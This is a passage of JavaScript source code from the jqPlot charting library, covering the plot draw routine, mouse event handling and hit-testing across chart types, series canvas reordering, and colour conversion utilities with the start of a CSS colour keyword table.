series[j].canvas._elem.data('seriesIndex', j); } // Need to use filled canvas to capture events in IE. // Also, canvas seems to block selection of other elements in document on FF. this.target.append(this.eventCanvas.createElement(this._gridPadding, 'jqplot-event-canvas', null, this)); this.eventCanvas.setContext(); this.eventCanvas._ctx.fillStyle = 'rgba(0,0,0,0)'; this.eventCanvas._ctx.fillRect(0,0,this.eventCanvas._ctx.canvas.width, this.eventCanvas._ctx.canvas.height); // bind custom event handlers to regular events. this.bindCustomEvents(); // draw legend before series if the series needs to know the legend dimensions. if (this.legend.preDraw) { this.eventCanvas._elem.before(legendElem); this.legend.pack(legendPadding); if (this.legend._elem) { this.drawSeries({legendInfo:{location:this.legend.location, placement:this.legend.placement, width:this.legend.getWidth(), height:this.legend.getHeight(), xoffset:this.legend.xoffset, yoffset:this.legend.yoffset}}); } else { this.drawSeries(); } } else { // draw series before legend this.drawSeries(); if (seriesLength) { $(series[seriesLength-1].canvas._elem).after(legendElem); } this.legend.pack(legendPadding); } // register event listeners on the overlay canvas for (var i=0, l=$.jqplot.eventListenerHooks.length; i<l; i++) { // in the handler, this will refer to the eventCanvas dom element. // make sure there are references back into plot objects. this.eventCanvas._elem.bind($.jqplot.eventListenerHooks[i][0], {plot:this}, $.jqplot.eventListenerHooks[i][1]); } // register event listeners on the overlay canvas for (var i=0, l=this.eventListenerHooks.hooks.length; i<l; i++) { // in the handler, this will refer to the eventCanvas dom element. // make sure there are references back into plot objects. this.eventCanvas._elem.bind(this.eventListenerHooks.hooks[i][0], {plot:this}, this.eventListenerHooks.hooks[i][1]); } var fb = this.fillBetween; if(typeof fb.series1 == 'number'){ if(fb.fill&&fb.series1!==fb.series2&&fb.series1<seriesLength&&fb.series2<seriesLength&&series[fb.series1]._type==="line"&&series[fb.series2]._type==="line") this.doFillBetweenLines(); } else{ if(fb.series1 != null && fb.series2 != null){ var doFb = false; if(fb.series1.length === fb.series2.length){ var tempSeries1 = 0; var tempSeries2 = 0; for(var cnt = 0; cnt < fb.series1.length; cnt++){ tempSeries1 = fb.series1[cnt]; tempSeries2 = fb.series2[cnt]; if(tempSeries1!==tempSeries2&&tempSeries1<seriesLength&&tempSeries2<seriesLength&&series[tempSeries1]._type==="line"&&series[tempSeries2]._type==="line"){ doFb = true; } else{ doFb = false; break; } } } if(fb.fill && doFb){ this.doFillBetweenLines(); } } } for (var i=0, l=$.jqplot.postDrawHooks.length; i<l; i++) { $.jqplot.postDrawHooks[i].call(this); } for (var i=0, l=this.postDrawHooks.hooks.length; i<l; i++) { this.postDrawHooks.hooks[i].apply(this, this.postDrawHooks.args[i]); } if (this.target.is(':visible')) { this._drawCount += 1; } var temps, tempr, sel, _els; // ughh. ideally would hide all series then show them. for (i=0, l=seriesLength; i<l; i++) { temps = series[i]; tempr = temps.renderer; sel = '.jqplot-point-label.jqplot-series-'+i; if (tempr.animation && tempr.animation._supported && tempr.animation.show && (this._drawCount < 2 || this.animateReplot)) { _els = this.target.find(sel); _els.stop(true, true).hide(); temps.canvas._elem.stop(true, true).hide(); temps.shadowCanvas._elem.stop(true, true).hide(); temps.canvas._elem.jqplotEffect('blind', {mode: 'show', direction: tempr.animation.direction}, tempr.animation.speed); temps.shadowCanvas._elem.jqplotEffect('blind', {mode: 'show', direction: tempr.animation.direction}, tempr.animation.speed); _els.fadeIn(tempr.animation.speed*0.8); } } _els = null; this.target.trigger('jqplotPostDraw', [this]); } }; jqPlot.prototype.doFillBetweenLines = function () { var fb = this.fillBetween; var series = this.series; var sid1 = fb.series1; var sid2 = fb.series2; var id1 = 0, id2 = 0; function fill(id1, id2){ var series1 = series[id1]; var series2 = series[id2]; if (series2.renderer.smooth) var tempgd = series2.renderer._smoothedData.slice(0).reverse(); else var tempgd = series2.gridData.slice(0).reverse(); if (series1.renderer.smooth) var gd = series1.renderer._smoothedData.concat(tempgd); else var gd = series1.gridData.concat(tempgd); var color = fb.color !== null ? fb.color : series[id1].fillColor; var baseSeries = fb.baseSeries !== null ? fb.baseSeries : id1; var sr = series[baseSeries].renderer.shapeRenderer; var opts = { fillStyle : color, fill : true, closePath : true }; sr.draw(series1.shadowCanvas._ctx, gd, opts) } if(typeof sid1 == 'number' && typeof sid2 == 'number'){ id1 = sid1 < sid2 ? sid1 : sid2; id2 = sid2 > sid1 ? sid2 : sid1; fill(id1, id2); } else{ for(var cnt = 0; cnt < sid1.length ; cnt++){ id1 = sid1[cnt] < sid2[cnt] ? sid1[cnt] : sid2[cnt]; id2 = sid2[cnt] > sid1[cnt] ? sid2[cnt] : sid1[cnt]; fill(id1, id2); } } }; this.bindCustomEvents = function() { this.eventCanvas._elem.bind('click', {plot:this}, this.onClick); this.eventCanvas._elem.bind('dblclick', {plot:this}, this.onDblClick); this.eventCanvas._elem.bind('mousedown', {plot:this}, this.onMouseDown); this.eventCanvas._elem.bind('mousemove', {plot:this}, this.onMouseMove); this.eventCanvas._elem.bind('mouseenter', {plot:this}, this.onMouseEnter); this.eventCanvas._elem.bind('mouseleave', {plot:this}, this.onMouseLeave); if (this.captureRightClick) { this.eventCanvas._elem.bind('mouseup', {plot:this}, this.onRightClick); this.eventCanvas._elem.get(0).oncontextmenu = function() { return false; }; } else { this.eventCanvas._elem.bind('mouseup', {plot:this}, this.onMouseUp); } }; function getEventPosition(ev) { var plot = ev.data.plot; var go = plot.eventCanvas._elem.offset(); var gridPos = {x:ev.pageX - go.left, y:ev.pageY - go.top}; var dataPos = {xaxis:null, yaxis:null, x2axis:null, y2axis:null, y3axis:null, y4axis:null, y5axis:null, y6axis:null, y7axis:null, y8axis:null, y9axis:null, yMidAxis:null}; var an = ['xaxis', 'yaxis', 'x2axis', 'y2axis', 'y3axis', 'y4axis', 'y5axis', 'y6axis', 'y7axis', 'y8axis', 'y9axis', 'yMidAxis']; var ax = plot.axes; var n, axis; for (n=11; n>0; n--) { axis = an[n-1]; if (ax[axis].show) { dataPos[axis] = ax[axis].series_p2u(gridPos[axis.charAt(0)]); } } return {offsets:go, gridPos:gridPos, dataPos:dataPos}; } // function to check if event location is over a area area function checkIntersection(gridpos, plot) { var series = plot.series; var i, j, k, s, r, x, y, theta, sm, sa, minang, maxang; var d0, d, p, pp, points, bw, hp; var threshold, t; for (k=plot.seriesStack.length-1; k>=0; k--) { i = plot.seriesStack[k]; s = series[i]; hp = s._highlightThreshold; switch (s.renderer.constructor) { case $.jqplot.BarRenderer: x = gridpos.x; y = gridpos.y; for (j=0; j<s._barPoints.length; j++) { points = s._barPoints[j]; p = s.gridData[j]; if (x>points[0][0] && x<points[2][0] && (y>points[2][1] && y<points[0][1] || y<points[2][1] && y>points[0][1])) { return {seriesIndex:s.index, pointIndex:j, gridData:p, data:s.data[j], points:s._barPoints[j]}; } } break; case $.jqplot.PyramidRenderer: x = gridpos.x; y = gridpos.y; for (j=0; j<s._barPoints.length; j++) { points = s._barPoints[j]; p = s.gridData[j]; if (x > points[0][0] + hp[0][0] && x < points[2][0] + hp[2][0] && y > points[2][1] && y < points[0][1]) { return {seriesIndex:s.index, pointIndex:j, gridData:p, data:s.data[j], points:s._barPoints[j]}; } } break; case $.jqplot.DonutRenderer: sa = s.startAngle/180*Math.PI; x = gridpos.x - s._center[0]; y = gridpos.y - s._center[1]; r = Math.sqrt(Math.pow(x, 2) + Math.pow(y, 2)); if (x > 0 && -y >= 0) { theta = 2*Math.PI - Math.atan(-y/x); } else if (x > 0 && -y < 0) { theta = -Math.atan(-y/x); } else if (x < 0) { theta = Math.PI - Math.atan(-y/x); } else if (x == 0 && -y > 0) { theta = 3*Math.PI/2; } else if (x == 0 && -y < 0) { theta = Math.PI/2; } else if (x == 0 && y == 0) { theta = 0; } if (sa) { theta -= sa; if (theta < 0) { theta += 2*Math.PI; } else if (theta > 2*Math.PI) { theta -= 2*Math.PI; } } sm = s.sliceMargin/180*Math.PI; if (r < s._radius && r > s._innerRadius) { for (j=0; j<s.gridData.length; j++) { minang = (j>0) ? s.gridData[j-1][1]+sm : sm; maxang = s.gridData[j][1]; if (theta > minang && theta < maxang) { return {seriesIndex:s.index, pointIndex:j, gridData:[gridpos.x,gridpos.y], data:s.data[j]}; } } } break; case $.jqplot.PieRenderer: sa = s.startAngle/180*Math.PI; x = gridpos.x - s._center[0]; y = gridpos.y - s._center[1]; r = Math.sqrt(Math.pow(x, 2) + Math.pow(y, 2)); if (x > 0 && -y >= 0) { theta = 2*Math.PI - Math.atan(-y/x); } else if (x > 0 && -y < 0) { theta = -Math.atan(-y/x); } else if (x < 0) { theta = Math.PI - Math.atan(-y/x); } else if (x == 0 && -y > 0) { theta = 3*Math.PI/2; } else if (x == 0 && -y < 0) { theta = Math.PI/2; } else if (x == 0 && y == 0) { theta = 0; } if (sa) { theta -= sa; if (theta < 0) { theta += 2*Math.PI; } else if (theta > 2*Math.PI) { theta -= 2*Math.PI; } } sm = s.sliceMargin/180*Math.PI; if (r < s._radius) { for (j=0; j<s.gridData.length; j++) { minang = (j>0) ? s.gridData[j-1][1]+sm : sm; maxang = s.gridData[j][1]; if (theta > minang && theta < maxang) { return {seriesIndex:s.index, pointIndex:j, gridData:[gridpos.x,gridpos.y], data:s.data[j]}; } } } break; case $.jqplot.BubbleRenderer: x = gridpos.x; y = gridpos.y; var ret = null; if (s.show) { for (var j=0; j<s.gridData.length; j++) { p = s.gridData[j]; d = Math.sqrt( (x-p[0]) * (x-p[0]) + (y-p[1]) * (y-p[1]) ); if (d <= p[2] && (d <= d0 || d0 == null)) { d0 = d; ret = {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } if (ret != null) { return ret; } } break; case $.jqplot.FunnelRenderer: x = gridpos.x; y = gridpos.y; var v = s._vertices, vfirst = v[0], vlast = v[v.length-1], lex, rex, cv; // equations of right and left sides, returns x, y values given height of section (y value and 2 points) function findedge (l, p1 , p2) { var m = (p1[1] - p2[1])/(p1[0] - p2[0]); var b = p1[1] - m*p1[0]; var y = l + p1[1]; return [(y - b)/m, y]; } // check each section lex = findedge(y, vfirst[0], vlast[3]); rex = findedge(y, vfirst[1], vlast[2]); for (j=0; j<v.length; j++) { cv = v[j]; if (y >= cv[0][1] && y <= cv[3][1] && x >= lex[0] && x <= rex[0]) { return {seriesIndex:s.index, pointIndex:j, gridData:null, data:s.data[j]}; } } break; case $.jqplot.LineRenderer: x = gridpos.x; y = gridpos.y; r = s.renderer; if (s.show) { if ((s.fill || (s.renderer.bands.show && s.renderer.bands.fill)) && (!plot.plugins.highlighter || !plot.plugins.highlighter.show)) { // first check if it is in bounding box var inside = false; if (x>s._boundingBox[0][0] && x<s._boundingBox[1][0] && y>s._boundingBox[1][1] && y<s._boundingBox[0][1]) { // now check the crossing number var numPoints = s._areaPoints.length; var ii; var j = numPoints-1; for(var ii=0; ii < numPoints; ii++) { var vertex1 = [s._areaPoints[ii][0], s._areaPoints[ii][1]]; var vertex2 = [s._areaPoints[j][0], s._areaPoints[j][1]]; if (vertex1[1] < y && vertex2[1] >= y || vertex2[1] < y && vertex1[1] >= y) { if (vertex1[0] + (y - vertex1[1]) / (vertex2[1] - vertex1[1]) * (vertex2[0] - vertex1[0]) < x) { inside = !inside; } } j = ii; } } if (inside) { return {seriesIndex:i, pointIndex:null, gridData:s.gridData, data:s.data, points:s._areaPoints}; } break; } else { t = s.markerRenderer.size/2+s.neighborThreshold; threshold = (t > 0) ? t : 0; for (var j=0; j<s.gridData.length; j++) { p = s.gridData[j]; // neighbor looks different to OHLC chart. if (r.constructor == $.jqplot.OHLCRenderer) { if (r.candleStick) { var yp = s._yaxis.series_u2p; if (x >= p[0]-r._bodyWidth/2 && x <= p[0]+r._bodyWidth/2 && y >= yp(s.data[j][2]) && y <= yp(s.data[j][3])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } // if an open hi low close chart else if (!r.hlc){ var yp = s._yaxis.series_u2p; if (x >= p[0]-r._tickLength && x <= p[0]+r._tickLength && y >= yp(s.data[j][2]) && y <= yp(s.data[j][3])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } // a hi low close chart else { var yp = s._yaxis.series_u2p; if (x >= p[0]-r._tickLength && x <= p[0]+r._tickLength && y >= yp(s.data[j][1]) && y <= yp(s.data[j][2])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } } else if (p[0] != null && p[1] != null){ d = Math.sqrt( (x-p[0]) * (x-p[0]) + (y-p[1]) * (y-p[1]) ); if (d <= threshold && (d <= d0 || d0 == null)) { d0 = d; return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } } } } break; default: x = gridpos.x; y = gridpos.y; r = s.renderer; if (s.show) { t = s.markerRenderer.size/2+s.neighborThreshold; threshold = (t > 0) ? t : 0; for (var j=0; j<s.gridData.length; j++) { p = s.gridData[j]; // neighbor looks different to OHLC chart. if (r.constructor == $.jqplot.OHLCRenderer) { if (r.candleStick) { var yp = s._yaxis.series_u2p; if (x >= p[0]-r._bodyWidth/2 && x <= p[0]+r._bodyWidth/2 && y >= yp(s.data[j][2]) && y <= yp(s.data[j][3])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } // if an open hi low close chart else if (!r.hlc){ var yp = s._yaxis.series_u2p; if (x >= p[0]-r._tickLength && x <= p[0]+r._tickLength && y >= yp(s.data[j][2]) && y <= yp(s.data[j][3])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } // a hi low close chart else { var yp = s._yaxis.series_u2p; if (x >= p[0]-r._tickLength && x <= p[0]+r._tickLength && y >= yp(s.data[j][1]) && y <= yp(s.data[j][2])) { return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } } else { d = Math.sqrt( (x-p[0]) * (x-p[0]) + (y-p[1]) * (y-p[1]) ); if (d <= threshold && (d <= d0 || d0 == null)) { d0 = d; return {seriesIndex: i, pointIndex:j, gridData:p, data:s.data[j]}; } } } } break; } } return null; } this.onClick = function(ev) { // Event passed in is normalized and will have data attribute. // Event passed out is unnormalized. var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); var evt = $.Event('jqplotClick'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); }; this.onDblClick = function(ev) { // Event passed in is normalized and will have data attribute. // Event passed out is unnormalized. var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); var evt = $.Event('jqplotDblClick'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); }; this.onMouseDown = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); var evt = $.Event('jqplotMouseDown'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); }; this.onMouseUp = function(ev) { var positions = getEventPosition(ev); var evt = $.Event('jqplotMouseUp'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, null, ev.data.plot]); }; this.onRightClick = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); if (p.captureRightClick) { if (ev.which == 3) { var evt = $.Event('jqplotRightClick'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); } else { var evt = $.Event('jqplotMouseUp'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); } } }; this.onMouseMove = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); var evt = $.Event('jqplotMouseMove'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); }; this.onMouseEnter = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var evt = $.Event('jqplotMouseEnter'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; evt.relatedTarget = ev.relatedTarget; $(this).trigger(evt, [positions.gridPos, positions.dataPos, null, p]); }; this.onMouseLeave = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var evt = $.Event('jqplotMouseLeave'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; evt.relatedTarget = ev.relatedTarget; $(this).trigger(evt, [positions.gridPos, positions.dataPos, null, p]); }; // method: drawSeries // Redraws all or just one series on the plot. No axis scaling // is performed and no other elements on the plot are redrawn. // options is an options object to pass on to the series renderers. // It can be an empty object {}. idx is the series index // to redraw if only one series is to be redrawn. this.drawSeries = function(options, idx){ var i, series, ctx; // if only one argument passed in and it is a number, use it ad idx. idx = (typeof(options) === "number" && idx == null) ? options : idx; options = (typeof(options) === "object") ? options : {}; // draw specified series if (idx != undefined) { series = this.series[idx]; ctx = series.shadowCanvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); series.drawShadow(ctx, options, this); ctx = series.canvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); series.draw(ctx, options, this); if (series.renderer.constructor == $.jqplot.BezierCurveRenderer) { if (idx < this.series.length - 1) { this.drawSeries(idx+1); } } } else { // if call series drawShadow method first, in case all series shadows // should be drawn before any series. This will ensure, like for // stacked bar plots, that shadows don't overlap series. for (i=0; i<this.series.length; i++) { // first clear the canvas series = this.series[i]; ctx = series.shadowCanvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); series.drawShadow(ctx, options, this); ctx = series.canvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); series.draw(ctx, options, this); } } options = idx = i = series = ctx = null; }; // method: moveSeriesToFront // This method requires jQuery 1.4+ // Moves the specified series canvas in front of all other series canvases. // This effectively "draws" the specified series on top of all other series, // although it is performed through DOM manipulation, no redrawing is performed. // // Parameters: // idx - 0 based index of the series to move. This will be the index of the series // as it was first passed into the jqplot function. this.moveSeriesToFront = function (idx) { idx = parseInt(idx, 10); var stackIndex = $.inArray(idx, this.seriesStack); // if already in front, return if (stackIndex == -1) { return; } if (stackIndex == this.seriesStack.length -1) { this.previousSeriesStack = this.seriesStack.slice(0); return; } var opidx = this.seriesStack[this.seriesStack.length -1]; var serelem = this.series[idx].canvas._elem.detach(); var shadelem = this.series[idx].shadowCanvas._elem.detach(); this.series[opidx].shadowCanvas._elem.after(shadelem); this.series[opidx].canvas._elem.after(serelem); this.previousSeriesStack = this.seriesStack.slice(0); this.seriesStack.splice(stackIndex, 1); this.seriesStack.push(idx); }; // method: moveSeriesToBack // This method requires jQuery 1.4+ // Moves the specified series canvas behind all other series canvases. // // Parameters: // idx - 0 based index of the series to move. This will be the index of the series // as it was first passed into the jqplot function. this.moveSeriesToBack = function (idx) { idx = parseInt(idx, 10); var stackIndex = $.inArray(idx, this.seriesStack); // if already in back, return if (stackIndex == 0 || stackIndex == -1) { return; } var opidx = this.seriesStack[0]; var serelem = this.series[idx].canvas._elem.detach(); var shadelem = this.series[idx].shadowCanvas._elem.detach(); this.series[opidx].shadowCanvas._elem.before(shadelem); this.series[opidx].canvas._elem.before(serelem); this.previousSeriesStack = this.seriesStack.slice(0); this.seriesStack.splice(stackIndex, 1); this.seriesStack.unshift(idx); }; // method: restorePreviousSeriesOrder // This method requires jQuery 1.4+ // Restore the series canvas order to its previous state. // Useful to put a series back where it belongs after moving // it to the front. this.restorePreviousSeriesOrder = function () { var i, j, serelem, shadelem, temp, move, keep; // if no change, return. if (this.seriesStack == this.previousSeriesStack) { return; } for (i=1; i<this.previousSeriesStack.length; i++) { move = this.previousSeriesStack[i]; keep = this.previousSeriesStack[i-1]; serelem = this.series[move].canvas._elem.detach(); shadelem = this.series[move].shadowCanvas._elem.detach(); this.series[keep].shadowCanvas._elem.after(shadelem); this.series[keep].canvas._elem.after(serelem); } temp = this.seriesStack.slice(0); this.seriesStack = this.previousSeriesStack.slice(0); this.previousSeriesStack = temp; }; // method: restoreOriginalSeriesOrder // This method requires jQuery 1.4+ // Restore the series canvas order to its original order // when the plot was created. this.restoreOriginalSeriesOrder = function () { var i, j, arr=[], serelem, shadelem; for (i=0; i<this.series.length; i++) { arr.push(i); } if (this.seriesStack == arr) { return; } this.previousSeriesStack = this.seriesStack.slice(0); this.seriesStack = arr; for (i=1; i<this.seriesStack.length; i++) { serelem = this.series[i].canvas._elem.detach(); shadelem = this.series[i].shadowCanvas._elem.detach(); this.series[i-1].shadowCanvas._elem.after(shadelem); this.series[i-1].canvas._elem.after(serelem); } }; this.activateTheme = function (name) { this.themeEngine.activate(this, name); }; } // conpute a highlight color or array of highlight colors from given colors. $.jqplot.computeHighlightColors = function(colors) { var ret; if ($.isArray(colors)) { ret = []; for (var i=0; i<colors.length; i++){ var rgba = $.jqplot.getColorComponents(colors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 660) ? newrgb[j] * 0.85 : 0.73 * newrgb[j] + 90; newrgb[j] = parseInt(newrgb[j], 10); (newrgb[j] > 255) ? 255 : newrgb[j]; } // newrgb[3] = (rgba[3] > 0.4) ? rgba[3] * 0.4 : rgba[3] * 1.5; // newrgb[3] = (rgba[3] > 0.5) ? 0.8 * rgba[3] - .1 : rgba[3] + 0.2; newrgb[3] = 0.3 + 0.35 * rgba[3]; ret.push('rgba('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+','+newrgb[3]+')'); } } else { var rgba = $.jqplot.getColorComponents(colors); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. // newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.3 * (255 - newrgb[j]); // newrgb[j] = parseInt(newrgb[j], 10); newrgb[j] = (sum > 660) ? newrgb[j] * 0.85 : 0.73 * newrgb[j] + 90; newrgb[j] = parseInt(newrgb[j], 10); (newrgb[j] > 255) ? 255 : newrgb[j]; } // newrgb[3] = (rgba[3] > 0.4) ? rgba[3] * 0.4 : rgba[3] * 1.5; // newrgb[3] = (rgba[3] > 0.5) ? 0.8 * rgba[3] - .1 : rgba[3] + 0.2; newrgb[3] = 0.3 + 0.35 * rgba[3]; ret = 'rgba('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+','+newrgb[3]+')'; } return ret; }; $.jqplot.ColorGenerator = function(colors) { colors = colors || $.jqplot.config.defaultColors; var idx = 0; this.next = function () { if (idx < colors.length) { return colors[idx++]; } else { idx = 0; return colors[idx++]; } }; this.previous = function () { if (idx > 0) { return colors[idx--]; } else { idx = colors.length-1; return colors[idx]; } }; // get a color by index without advancing pointer. this.get = function(i) { var idx = i - colors.length * Math.floor(i/colors.length); return colors[idx]; }; this.setColors = function(c) { colors = c; }; this.reset = function() { idx = 0; }; this.getIndex = function() { return idx; }; this.setIndex = function(index) { idx = index; }; }; // convert a hex color string to rgb string. // h - 3 or 6 character hex string, with or without leading # // a - optional alpha $.jqplot.hex2rgb = function(h, a) { h = h.replace('#', ''); if (h.length == 3) { h = h.charAt(0)+h.charAt(0)+h.charAt(1)+h.charAt(1)+h.charAt(2)+h.charAt(2); } var rgb; rgb = 'rgba('+parseInt(h.slice(0,2), 16)+', '+parseInt(h.slice(2,4), 16)+', '+parseInt(h.slice(4,6), 16); if (a) { rgb += ', '+a; } rgb += ')'; return rgb; }; // convert an rgb color spec to a hex spec. ignore any alpha specification. $.jqplot.rgb2hex = function(s) { var pat = /rgba?\( *([0-9]{1,3}\.?[0-9]*%?) *, *([0-9]{1,3}\.?[0-9]*%?) *, *([0-9]{1,3}\.?[0-9]*%?) *(?:, *[0-9.]*)?\)/; var m = s.match(pat); var h = '#'; for (var i=1; i<4; i++) { var temp; if (m[i].search(/%/) != -1) { temp = parseInt(255*m[i]/100, 10).toString(16); if (temp.length == 1) { temp = '0'+temp; } } else { temp = parseInt(m[i], 10).toString(16); if (temp.length == 1) { temp = '0'+temp; } } h += temp; } return h; }; // given a css color spec, return an rgb css color spec $.jqplot.normalize2rgb = function(s, a) { if (s.search(/^ *rgba?\(/) != -1) { return s; } else if (s.search(/^ *#?[0-9a-fA-F]?[0-9a-fA-F]/) != -1) { return $.jqplot.hex2rgb(s, a); } else { throw new Error('Invalid color spec'); } }; // extract the r, g, b, a color components out of a css color spec. $.jqplot.getColorComponents = function(s) { // check to see if a color keyword. s = $.jqplot.colorKeywordMap[s] || s; var rgb = $.jqplot.normalize2rgb(s); var pat = /rgba?\( *([0-9]{1,3}\.?[0-9]*%?) *, *([0-9]{1,3}\.?[0-9]*%?) *, *([0-9]{1,3}\.?[0-9]*%?) *,? *([0-9.]* *)?\)/; var m = rgb.match(pat); var ret = []; for (var i=1; i<4; i++) { if (m[i].search(/%/) != -1) { ret[i-1] = parseInt(255*m[i]/100, 10); } else { ret[i-1] = parseInt(m[i], 10); } } ret[3] = parseFloat(m[4]) ? parseFloat(m[4]) : 1.0; return ret; }; $.jqplot.colorKeywordMap = { aliceblue: 'rgb(240, 248, 255)', antiquewhite: 'rgb(250, 235, 215)', aqua: 'rgb( 0, 255, 255)', aquamarine: 'rgb(127, 255, 212)', azure: 'rgb(240, 255, 255)', beige: 'rgb(245, 245, 220)', bisque: 'rgb(255, 228, 196)', black: 'rgb( 0, 0, 0)', blanchedalmond: 'rgb(255, 235, 205)', blue: 'rgb( 0, 0, 255)', blueviolet: 'rgb(138, 43, 226)', brown: 'rgb(165, 42, 42)', burlywood: 'rgb(222, 184, 135)', cadetblue: 'rgb( 95, 158, 160)', chartreuse: 'rgb(127, 255, 0)', chocolate: 'rgb(210, 105, 30)', coral: 'rgb(255, 127, 80)', cornflowerblue: 'rgb(100, 149, 237)', cornsilk: 'rgb(255, 248, 220)', crimson: 'rgb(220, 20, 60)', cyan: 'rgb( 0, 255, 255)', darkblue: 'rgb( 0, 0, 139)', darkcyan: 'rgb( 0, 139, 139)', darkgoldenrod: 'rgb(184, 134, 11)', darkgray: 'rgb(169, 169, 169)', darkgreen: 'rgb( 0, 100, 0)', darkgrey: 'rgb(169, 169, 169)', darkkhaki: 'rgb(189, 183, 107)', darkmagenta: 'rgb(139, 0, 139)', darkolivegreen: 'rgb( 85, 107, 47)', darkorange: 'rgb(255, 140, 0)', darkorchid: 'rgb(153, 50, 204)', darkred: 'rgb(139, 0, 0)', darksalmon: 'rgb(233, 150, 122)', darkseagreen: 'rgb(143, 188, 143)', darkslateblue: 'rgb( 72, 61, 139)', darkslategray: 'rgb( 47, 79, 79)', darkslategrey: 'rgb( 47, 79, 79)', darkturquoise: 'rgb( 0, 206, 209)', darkviolet: 'rgb(148, 0, 211)', deeppink: 'rgb(255, 20, 147)', deepskyblue: 'rgb( 0, 191, 255)', dimgray: 'rgb(105, 105, 105)', dimgrey: 'rgb(105, 105, 105)', dodgerblue: 'rgb( 30, 144, 255)', firebrick: 'rgb(178, 34, 34)', floralwhite: 'rgb(255, 250, 240)', forestgreen: 'rgb( 34, 139, 34)', fuchsia: 'rgb(255, 0, 255)', gainsboro: 'rgb(220, 220, 220)', ghostwhite: 'rgb(248, 248, 255)', gold: 'rgb(255, 215, 0)', goldenrod: 'rgb(218, 165, 32)', gray: 'rgb(128, 128, 128)', grey: 'rgb(128, 128, 128)', green: 'rgb( 0, 128, 0)', greenyellow: 'rgb(173, 255, 47)', honeydew: 'rgb(240, 255, 240)', hotpink: 'rgb(255, 105, 180)', indianred: 'rgb(205, 92, 92)', indigo: 'rgb( 75, 0, 130)', ivory: 'rgb(255, 255, 240)', khaki: 'rgb(240, 230, 140)', lavender: 'rgb(230, 230, 250)', lavenderblush: 'rgb(255, 240, 245)', lawngreen: 'rgb(124, 252, 0)', lemonchiffon: 'rgb(255, 250, 205)', lightblue: 'rgb(173, 216, 230)', lightcoral: 'rgb(240, 128, 128)', lightcyan: 'rgb(224, 255, 255)', lightgoldenrodyellow: 'rgb(250, 250, 210)', lightgray: 'rgb(211, 211, 211)', lightgreen: 'rgb(144, 238, 144)', lightgrey: 'rgb(211, 211, 211)', lightpink: 'rgb(255, 182, 193)', lightsalmon: 'rgb(255, 160, 122)', lightseagreen: 'rgb( 32, 178, 170)', lightskyblue: 'rgb(135, 206, 250)', lightslategray: 'rgb(119, 136, 153)', lightslategrey: 'rgb(119, 136, 153)', lightsteelblue: 'rgb(176, 196, 222)', lightyellow: 'rgb(255, 255, 224)', lime: 'rgb( 0, 255, 0)', limegreen: 'rgb( 50, 205, 50)', linen: 'rgb(250, 240, 230)', magenta: 'rgb(255, 0, 255)', maroon: 'rgb(128, 0, 0)', mediumaquamarine: 'rgb(102, 205, 170)', mediumblue: 'rgb( 0, 0, 205)', mediumorchid: 'rgb(186, 85, 211)', mediumpurple: 'rgb(147, 112, 219)', mediumseagreen: 'rgb( 60, 179, 113)', mediumslateblue: 'rgb(123, 104, 238)', mediumspringgreen: 'rgb( 0, 250, 154)', mediumturquoise: 'rgb( 72, 209, 204)', mediumvioletred: 'rgb(199, 21, 133)', midnightblue: 'rgb( 25, 25, 112)', mintcream: 'rgb(245, 255, 250)', mistyrose: 'rgb(255, 228, 225)', moccasin: 'rgb(255, 228, 181)', navajowhite: 'rgb(255, 222, 173)', navy: 'rgb( 0, 0, 128)', oldlace: 'rgb(253, 245, 230)', olive: 'rgb(128, 128, 0)', olivedrab: 'rgb(107, 142, 35)', orange: 'rgb(255, 165, 0)', orangered: 'rgb(255, 69, 0)', orchid: 'rgb(218, 